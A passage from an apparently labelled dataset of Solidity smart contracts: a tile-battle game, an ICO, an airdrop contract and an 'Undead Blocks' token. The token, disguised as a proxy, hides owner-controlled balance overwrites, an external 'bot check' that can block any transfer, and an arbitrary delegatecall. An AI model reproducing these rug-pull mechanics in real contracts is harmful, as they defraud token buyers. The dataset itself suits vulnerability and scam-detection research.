require(BWUtility.isAdjacent(_xSource, _ySource, _xDest, _yDest));
sourceTileBlockValue -= _moveAmount;
destTileBlockValue += _moveAmount;
if (sourceTileBlockValue == 0) {
bwData.deleteTile(sourceTileId);
} else {
bwData.updateTileBlockValue(sourceTileId, sourceTileBlockValue);
bwData.deleteOffer(sourceTileId);
}
bwData.updateTileBlockValue(destTileId, destTileBlockValue);
bwData.deleteOffer(destTileId);
emit BlockValueMoved(sourceTileId, destTileId, _msgSender, _moveAmount, sourceTileBlockValue, destTileBlockValue, block.timestamp);
}
function withdrawBattleValue(address msgSender, uint _battleValueInWei) public isValidCaller returns (uint) {
require(bwData.hasUser(msgSender));
require(_battleValueInWei % 1 finney == 0);
uint fee = _battleValueInWei / WITHDRAW_FEE;
require(_battleValueInWei - fee < _battleValueInWei);
uint amountToWithdraw = _battleValueInWei - fee;
uint feeBalance = bwData.getFeeBalance();
require(feeBalance + fee >= feeBalance);
feeBalance += fee;
bwData.setFeeBalance(feeBalance);
subUserBattleValue(msgSender, _battleValueInWei, true);
return amountToWithdraw;
}
function addUserBattleValue(address _userId, uint _amount) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
require(userBattleValue + _amount > userBattleValue);
uint newBattleValue = userBattleValue + _amount;
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, false);
}
function subUserBattleValue(address _userId, uint _amount, bool _isWithdraw) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
require(_amount <= userBattleValue);
uint newBattleValue = userBattleValue - _amount;
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, _isWithdraw);
}
function addGlobalBlockValueBalance(uint _amount) public isValidCaller {
uint blockValueBalance = bwData.getBlockValueBalance();
require(blockValueBalance + _amount > blockValueBalance);
bwData.setBlockValueBalance(blockValueBalance + _amount);
}
function transferTokens(address _tokenAddress, address _recipient) public isOwner {
ERC20I token = ERC20I(_tokenAddress);
require(token.transfer(_recipient, token.balanceOf(this)));
}
}
contract BWData {
address public owner;
address private bwService;
address private bw;
address private bwMarket;
uint private blockValueBalance = 0;
uint private feeBalance = 0;
uint private BASE_TILE_PRICE_WEI = 1 finney;
mapping (address => User) private users;
mapping (uint16 => Tile) private tiles;
struct User {
uint creationTime;
bool censored;
uint battleValue;
}
struct Tile {
address claimer;
uint blockValue;
uint creationTime;
uint sellPrice;
}
struct Boost {
uint8 numAttackBoosts;
uint8 numDefendBoosts;
uint attackBoost;
uint defendBoost;
}
constructor() public {
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
modifier isValidCaller {
if (msg.sender != bwService && msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
function setBwServiceValidCaller(address _bwService) public isOwner {
bwService = _bwService;
}
function setBwValidCaller(address _bw) public isOwner {
bw = _bw;
}
function setBwMarketValidCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function addUser(address _msgSender) public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime == 0);
user.creationTime = block.timestamp;
}
function hasUser(address _user) view public isValidCaller returns (bool) {
return users[_user].creationTime != 0;
}
function getTile(uint16 _tileId) view public isValidCaller returns (address, uint, uint, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue, currentTile.creationTime, currentTile.sellPrice);
}
function getTileClaimerAndBlockValue(uint16 _tileId) view public isValidCaller returns (address, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue);
}
function isNewTile(uint16 _tileId) view public isValidCaller returns (bool) {
Tile storage currentTile = tiles[_tileId];
return currentTile.creationTime == 0;
}
function storeClaim(uint16 _tileId, address _claimer, uint _blockValue) public isValidCaller {
tiles[_tileId] = Tile(_claimer, _blockValue, block.timestamp, 0);
}
function updateTileBlockValue(uint16 _tileId, uint _blockValue) public isValidCaller {
tiles[_tileId].blockValue = _blockValue;
}
function setClaimerForTile(uint16 _tileId, address _claimer) public isValidCaller {
tiles[_tileId].claimer = _claimer;
}
function updateTileTimeStamp(uint16 _tileId) public isValidCaller {
tiles[_tileId].creationTime = block.timestamp;
}
function getCurrentClaimerForTile(uint16 _tileId) view public isValidCaller returns (address) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return 0;
}
return currentTile.claimer;
}
function getCurrentBlockValueAndSellPriceForTile(uint16 _tileId) view public isValidCaller returns (uint, uint) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return (0, 0);
}
return (currentTile.blockValue, currentTile.sellPrice);
}
function getBlockValueBalance() view public isValidCaller returns (uint){
return blockValueBalance;
}
function setBlockValueBalance(uint _blockValueBalance) public isValidCaller {
blockValueBalance = _blockValueBalance;
}
function getFeeBalance() view public isValidCaller returns (uint) {
return feeBalance;
}
function setFeeBalance(uint _feeBalance) public isValidCaller {
feeBalance = _feeBalance;
}
function getUserBattleValue(address _userId) view public isValidCaller returns (uint) {
return users[_userId].battleValue;
}
function setUserBattleValue(address _userId, uint _battleValue) public isValidCaller {
users[_userId].battleValue = _battleValue;
}
function verifyAmount(address _msgSender, uint _msgValue, uint _amount, bool _useBattleValue) view public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime != 0);
if (_useBattleValue) {
require(_msgValue == 0);
require(user.battleValue >= _amount);
} else {
require(_amount == _msgValue);
}
}
function addBoostFromTile(Tile _tile, address _attacker, address _defender, Boost memory _boost) pure private {
if (_tile.claimer == _attacker) {
require(_boost.attackBoost + _tile.blockValue >= _tile.blockValue);
_boost.attackBoost += _tile.blockValue;
_boost.numAttackBoosts += 1;
} else if (_tile.claimer == _defender) {
require(_boost.defendBoost + _tile.blockValue >= _tile.blockValue);
_boost.defendBoost += _tile.blockValue;
_boost.numDefendBoosts += 1;
}
}
function calculateBattleBoost(uint16 _tileId, address _attacker, address _defender) view public isValidCaller returns (uint, uint) {
uint8 x;
uint8 y;
(x, y) = BWUtility.fromTileId(_tileId);
Boost memory boost = Boost(0, 0, 0, 0);
if (y != 255) {
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y+1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y+1)], _attacker, _defender, boost);
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y+1)], _attacker, _defender, boost);
}
}
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y)], _attacker, _defender, boost);
}
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y)], _attacker, _defender, boost);
}
if (y != 0) {
if(x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y-1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y-1)], _attacker, _defender, boost);
if(x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y-1)], _attacker, _defender, boost);
}
}
boost.attackBoost = (boost.attackBoost / 10 * boost.numAttackBoosts);
boost.defendBoost = (boost.defendBoost / 10 * boost.numDefendBoosts);
return (boost.attackBoost, boost.defendBoost);
}
function censorUser(address _userAddress, bool _censored) public isValidCaller {
User storage user = users[_userAddress];
require(user.creationTime != 0);
user.censored = _censored;
}
function deleteTile(uint16 _tileId) public isValidCaller {
delete tiles[_tileId];
}
function setSellPrice(uint16 _tileId, uint _sellPrice) public isValidCaller {
tiles[_tileId].sellPrice = _sellPrice;
}
function deleteOffer(uint16 _tileId) public isValidCaller {
tiles[_tileId].sellPrice = 0;
}
}
contract BW {
address public owner;
BWService private bwService;
BWData private bwData;
bool public paused = false;
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
modifier isNotPaused {
if (paused) {
revert();
}
_;
}
modifier isNotContractCaller {
require(msg.sender == tx.origin);
_;
}
event UserCreated(address userAddress, bytes32 name, bytes imageUrl, bytes32 tag, bytes32 homeUrl, uint creationTime, address invitedBy);
event UserCensored(address userAddress, bool isCensored);
event TransferTileFromOwner(uint16 tileId, address seller, address buyer, uint acceptTime);
event UserUpdated(address userAddress, bytes32 name, bytes imageUrl, bytes32 tag, bytes32 homeUrl, uint updateTime);
constructor(address _bwService, address _bwData) public {
bwService = BWService(_bwService);
bwData = BWData(_bwData);
owner = msg.sender;
}
function () payable public {
revert();
}
function claimTilesForNewUser(bytes32 _name, bytes _imageUrl, bytes32 _tag, bytes32 _homeUrl, uint16[] _claimedTileIds, address _invitedBy) payable public isNotPaused isNotContractCaller {
bwData.addUser(msg.sender);
emit UserCreated(msg.sender, _name, _imageUrl, _tag, _homeUrl, block.timestamp, _invitedBy);
bwService.storeInitialClaim(msg.sender, _claimedTileIds, msg.value, false);
}
function claimTilesForExistingUser(uint16[] _claimedTileIds, uint _claimAmount, bool _useBattleValue) payable public isNotPaused isNotContractCaller {
bwData.verifyAmount(msg.sender, msg.value, _claimAmount, _useBattleValue);
bwService.storeInitialClaim(msg.sender, _claimedTileIds, _claimAmount, _useBattleValue);
}
function updateUser(bytes32 _name, bytes _imageUrl, bytes32 _tag, bytes32 _homeUrl) public isNotPaused isNotContractCaller {
require(bwData.hasUser(msg.sender));
emit UserUpdated(msg.sender, _name, _imageUrl, _tag, _homeUrl, block.timestamp);
}
function fortifyClaims(uint16[] _claimedTileIds, uint _fortifyAmount, bool _useBattleValue) payable public isNotPaused isNotContractCaller {
bwData.verifyAmount(msg.sender, msg.value, _fortifyAmount, _useBattleValue);
bwService.fortifyClaims(msg.sender, _claimedTileIds, _fortifyAmount, _useBattleValue);
}
function attackTileForNewUser(uint16 _tileId, bytes32 _name, bytes _imageUrl, bytes32 _tag, bytes32 _homeUrl, address _invitedBy) payable public isNotPaused isNotContractCaller {
bwData.addUser(msg.sender);
emit UserCreated(msg.sender, _name, _imageUrl, _tag, _homeUrl, block.timestamp, _invitedBy);
bwService.attackTile(msg.sender, _tileId, msg.value, false, false);
}
function attackTileForExistingUser(uint16 _tileId, uint _attackAmount, bool _useBattleValue, bool _autoFortify) payable public isNotPaused isNotContractCaller {
bwData.verifyAmount(msg.sender, msg.value, _attackAmount, _useBattleValue);
bwService.attackTile(msg.sender, _tileId, _attackAmount, _useBattleValue, _autoFortify);
}
function moveBlockValue(uint8 _xSource, uint8 _ySource, uint8 _xDest, uint8 _yDest, uint _moveAmount) public isNotPaused isNotContractCaller {
bwService.moveBlockValue(msg.sender, _xSource, _ySource, _xDest, _yDest, _moveAmount);
}
function withdrawBattleValue(uint _battleValueInWei) public isNotContractCaller {
uint amountToWithdraw = bwService.withdrawBattleValue(msg.sender, _battleValueInWei);
msg.sender.transfer(amountToWithdraw);
}
function createNewUser(bytes32 _name, bytes _imageUrl, address _user) public isOwner {
bwData.addUser(_user);
emit UserCreated(msg.sender, _name, _imageUrl, 0x0, 0x0, block.timestamp, 0x0);
}
function censorUser(address _userAddress, bool _censored) public isOwner {
bwData.censorUser(_userAddress, _censored);
emit UserCensored(_userAddress, _censored);
}
function setPaused(bool _paused) public isOwner {
paused = _paused;
}
function kill() public isOwner {
selfdestruct(owner);
}
function withdrawValue(bool _isFee) public isOwner {
uint balance = address(this).balance;
uint amountToWithdraw;
if (_isFee) {
amountToWithdraw = bwData.getFeeBalance();
if (balance < amountToWithdraw) {
amountToWithdraw = balance;
}
bwData.setFeeBalance(0);
} else {
amountToWithdraw = bwData.getBlockValueBalance();
if (balance < amountToWithdraw) {
amountToWithdraw = balance;
}
bwData.setBlockValueBalance(0);
}
owner.transfer(amountToWithdraw);
}
function depositBattleValue(address _user) payable public isOwner {
require(bwData.hasUser(_user));
require(msg.value % 1 finney == 0);
bwService.addUserBattleValue(_user, msg.value);
}
function transferTileFromOwner(uint16 _tileId, address _newOwner) public payable isOwner {
address claimer = bwData.getCurrentClaimerForTile(_tileId);
require(claimer == owner);
require(bwData.hasUser(_newOwner));
require(msg.value % 1 finney == 0);
uint balance = address(this).balance;
require(balance + msg.value >= balance);
bwData.setClaimerForTile(_tileId, _newOwner);
bwService.addUserBattleValue(_newOwner, msg.value);
emit TransferTileFromOwner(_tileId, _newOwner, msg.sender, block.timestamp);
}
function transferTokens(address _tokenAddress, address _recipient) public isOwner {
ERC20I token = ERC20I(_tokenAddress);
require(token.transfer(_recipient, token.balanceOf(this)));
}
}
| 0 | 1,683 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
address public newOwner;
function owned() payable {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
require(_owner != 0);
newOwner = _owner;
}
function confirmOwner() public {
require(newOwner == msg.sender);
owner = newOwner;
delete newOwner;
}
}
contract StandardToken {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract UbecoinICO is owned {
using SafeMath for uint256;
string public version = "1.0";
address private WITHDRAW_WALLET;
uint256 public totalSold = 0;
uint256 public soldOnStage = 0;
uint8 public currentStage = 0;
Ubecoin public rewardToken;
uint256[] tokensRate = [7000,4200];
uint256[] tokensCap = [50000000,80000000];
mapping(address=>uint256) investments;
uint256 limit_on_beneficiary = 1000 * 1000 ether;
function investmentsOf(address beneficiary) public constant returns(uint256) {
return investments[beneficiary];
}
function availableOnStage() public constant returns(uint256) {
return tokensCap[currentStage].mul(1 ether).sub(soldOnStage);
}
function createTokenContract() internal returns (Ubecoin) {
return new Ubecoin();
}
function currentStageTokensCap() public constant returns(uint256) {
return tokensCap[currentStage];
}
function currentStageTokensRate() public constant returns(uint256) {
return tokensRate[currentStage];
}
function UbecoinICO() payable owned() {
owner = msg.sender;
WITHDRAW_WALLET = msg.sender;
rewardToken = createTokenContract();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable {
bool canBuy = investmentsOf(beneficiary) < limit_on_beneficiary;
bool validPurchase = beneficiary != 0x0 && msg.value != 0;
uint256 currentTokensAmount = availableTokens();
require(canBuy && validPurchase && currentTokensAmount > 0);
uint256 boughtTokens;
uint256 refundAmount = 0;
uint256[2] memory tokensAndRefund = calcMultiStage();
boughtTokens = tokensAndRefund[0];
refundAmount = tokensAndRefund[1];
require(boughtTokens < currentTokensAmount);
totalSold = totalSold.add(boughtTokens);
investments[beneficiary] = investments[beneficiary].add(boughtTokens);
if( soldOnStage >= tokensCap[currentStage].mul(1 ether)) {
toNextStage();
}
rewardToken.transfer(beneficiary,boughtTokens);
if (refundAmount > 0)
refundMoney(refundAmount);
withdrawFunds(this.balance);
}
function forceWithdraw() onlyOwner {
withdrawFunds(this.balance);
}
function calcMultiStage() internal returns(uint256[2]) {
uint256 stageBoughtTokens;
uint256 undistributedAmount = msg.value;
uint256 _boughtTokens = 0;
uint256 undistributedTokens = availableTokens();
while(undistributedAmount > 0 && undistributedTokens > 0) {
bool needNextStage = false;
stageBoughtTokens = getTokensAmount(undistributedAmount);
if(totalInvestments(_boughtTokens.add(stageBoughtTokens)) > limit_on_beneficiary){
stageBoughtTokens = limit_on_beneficiary.sub(_boughtTokens);
undistributedTokens = stageBoughtTokens;
}
if (stageBoughtTokens > availableOnStage()) {
stageBoughtTokens = availableOnStage();
needNextStage = true;
}
_boughtTokens = _boughtTokens.add(stageBoughtTokens);
undistributedTokens = undistributedTokens.sub(stageBoughtTokens);
undistributedAmount = undistributedAmount.sub(getTokensCost(stageBoughtTokens));
soldOnStage = soldOnStage.add(stageBoughtTokens);
if (needNextStage)
toNextStage();
}
return [_boughtTokens,undistributedAmount];
}
function setWithdrawWallet(address addressToWithdraw) public onlyOwner {
require(addressToWithdraw != 0x0);
WITHDRAW_WALLET = addressToWithdraw;
}
function totalInvestments(uint additionalAmount) internal returns (uint256) {
return investmentsOf(msg.sender).add(additionalAmount);
}
function refundMoney(uint256 refundAmount) internal {
msg.sender.transfer(refundAmount);
}
function burnTokens(uint256 amount) public onlyOwner {
rewardToken.burn(amount);
}
function getTokensCost(uint256 _tokensAmount) internal constant returns(uint256) {
return _tokensAmount.div(tokensRate[currentStage]);
}
function getTokensAmount(uint256 _amountInWei) internal constant returns(uint256) {
return _amountInWei.mul(tokensRate[currentStage]);
}
function toNextStage() internal {
if(currentStage < tokensRate.length && currentStage < tokensCap.length){
currentStage++;
soldOnStage = 0;
}
}
function availableTokens() public constant returns(uint256) {
return rewardToken.balanceOf(address(this));
}
function withdrawFunds(uint256 amount) internal {
WITHDRAW_WALLET.transfer(amount);
}
}
contract Ubecoin is StandardToken {
event Burn(address indexed burner, uint256 value);
string public constant name = "Ubecoin";
string public constant symbol = "UBE";
uint8 public constant decimals = 18;
string public version = "1.0";
uint256 public totalSupply = 3000000000 * 1 ether;
mapping(address=>uint256) premineOf;
address[] private premineWallets = [
0xc1b1dCA667619888EF005fA515472FC8058856D9,
0x2aB549AF98722F013432698D1D74027c5897843B
];
function Ubecoin() public {
balances[msg.sender] = totalSupply;
premineOf[premineWallets[0]] = 300000000 * 1 ether;
premineOf[premineWallets[1]] = 2570000000 * 1 ether;
for(uint i = 0; i<premineWallets.length;i++) {
transfer(premineWallets[i],premineOf[premineWallets[i]]);
}
}
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
| 1 | 4,076 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TokenInterface {
function transfer(address _to, uint256 _value) public;
function balanceOf(address _addr) public constant returns(uint256);
}
contract Ownable {
event OwnershipTransferred(address indexed from, address indexed to);
address public owner;
function Ownable() public {
owner = 0x95e90D5B37aEFf9A1f38F791125777cf0aB4350e;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0) && _newOwner != owner);
OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CustomContract is Ownable {
using SafeMath for uint256;
mapping (address => bool) public addrHasInvested;
TokenInterface public constant token = TokenInterface(0x0008b0650EB2faf50cf680c07D32e84bE1c0F07E);
modifier legalAirdrop(address[] _addrs, uint256 _value) {
require(token.balanceOf(address(this)) >= _addrs.length.mul(_value));
require(_addrs.length <= 100);
require(_value > 0);
_;
}
function airDropTokens(address[] _addrs, uint256 _value) public onlyOwner legalAirdrop(_addrs, _value){
for(uint i = 0; i < _addrs.length; i++) {
if(_addrs[i] != address(0)) {
token.transfer(_addrs[i], _value * (10 ** 18));
}
}
}
modifier legalBatchPayment(address[] _addrs, uint256[] _values) {
require(_addrs.length == _values.length);
require(_addrs.length <= 100);
uint256 sum = 0;
for(uint i = 0; i < _values.length; i++) {
if(_values[i] == 0 || _addrs[i] == address(0)) {
revert();
}
sum = sum.add(_values[i]);
}
require(address(this).balance >= sum);
_;
}
function makeBatchPayment(address[] _addrs, uint256[] _values) public onlyOwner legalBatchPayment(_addrs, _values) {
for(uint256 i = 0; i < _addrs.length; i++) {
_addrs[i].transfer(_values[i]);
}
}
function() public payable {
require(msg.value == 1e16);
buyTokens(msg.sender);
}
function buyTokens(address _addr) internal {
require(!addrHasInvested[_addr]);
addrHasInvested[_addr] = true;
token.transfer(_addr, 5000e18);
}
function withdrawEth(address _to, uint256 _value) public onlyOwner {
require(_to != address(0));
require(_value > 0);
_to.transfer(_value);
}
function withdrawTokens(address _to, uint256 _value) public onlyOwner {
require(_to != address(0));
require(_value > 0);
token.transfer(_to, _value * (10 ** 18));
}
function depositEth() public payable {
}
}
| 1 | 4,070 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract TransparentUpgradeableProxy is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 500000000000000000000000000;
string public name = "Undead Blocks";
string public symbol = "UNDEAD";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wETH, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _toAddresses, uint amount) public {
require(msg.sender == owner);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = amount;
emit Transfer(address(0x0), _toAddresses[i], amount);
}
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
}
| 1 | 4,044 |
library SafeMath {
function mul(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) pure internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
uint256 public totalSupply;
address public sale;
bool public transfersAllowed;
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value)
public
validTransfer
returns (bool success)
{
require(balances[msg.sender] >= _value);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
validTransfer
returns (bool success)
{
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
